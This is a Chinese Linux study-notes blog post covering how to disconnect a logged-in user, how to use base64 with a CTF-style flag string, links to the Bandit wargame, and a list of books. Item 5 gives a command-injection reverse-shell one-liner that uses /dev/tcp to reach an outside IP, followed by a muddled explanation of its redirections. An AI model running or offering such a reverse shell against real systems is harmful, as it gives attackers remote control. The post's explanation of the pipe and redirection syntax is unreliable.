zoukankan      html  css  js  c++  java
  • [IT学习]Linux 学习笔记

    1、踢掉用户

    # who
     15:23:13 up 26 days,  1:44,  2 users,  load average: 0.00, 0.05, 0.03
    USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
    root     pts/0    192.168.1.3      15:12   11:05   0.02s  0.02s -bash
    root     pts/1    192.168.4.17     09:49    0.00s  0.09s  0.00s w
    # fuser -k /dev/pts/0
    /dev/pts/0:          20359
    # who
     15:23:23 up 26 days,  1:44,  1 user,  load average: 0.22, 0.10, 0.05
    USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
    root     pts/1    192.168.4.17     09:49    0.00s  0.09s  0.00s w
    可以看到他的连接已经被踢掉。
    

    2、base64转码 (转贴http://chen.junchang.blog.163.com/blog/static/634451920133117640873/)

    当你直接输入 base64 ,然后你可以继续输入要编码的字符,回车,并不能结束。如何结束呢?
    1. 回车 ,然后 Ctrl+D
    2. 连续两下 Ctrl+D
    
    注意到上面这两种方式编码出来的结果不一致。
    精确的结果应该是第2种。而第一种事实上把回车键 "/n" 也参与了编码,从而导致结果的不一致。
    
    同样的,如果你要解码,那就输入 base64 -d 吧。
    
    另外,还可以这样:
    echo "some string" | base64    // 末尾的换行符也参与了编码
    echo -n "some string" | base64  // 末尾的换行符不参与编码,精确的方式
    echo "c29tZSBzdHJpbmc=" | base64 -d
    echo -n “c29tZSBzdHJpbmc=” | base64 -d
    

     试一下 echo -n "RkxBRzpJUONDVEVTVHBhcw==" |base64 -d

    3、bandit linux游戏

    http://overthewire.org/wargames/bandit/

    4、介绍linux游戏通关秘籍

    http://or7.me/2017/11/17/WarGame_Bandit/#more

    5、;/bin/bash –i > /dev/tcp/172.16.1.52/80|0<&1 2>&1

    其中的|是管道,0代表标准输入,1代表标准输出,2代表标准错误信息输出。

    0<&1 2>&1

    我理解就是,0输入到管道前面的命令参数,也就是/dev/tc/172.16.1.52/80

    2则输出到管道前面的命令参数。

    6、参考书籍

    1)Linux就该这么学

    2)阿铭linux

    3)linux就是这个范儿

  • 相关阅读:
    心得sql空值的应用
    C#开发GIS应用简明教程(二)
    网页右下角弹出窗口
    弹出输入框方法汇总
    C#开发GIS应用简明教程(三)
    防刷新的另一种方法
    相册
    网站下载速度限制方法
    .NET下多线程初探
    用DECODE做交叉报表
  • 原文地址:https://www.cnblogs.com/viphhs/p/7928818.html
Copyright © 2011-2022 走看看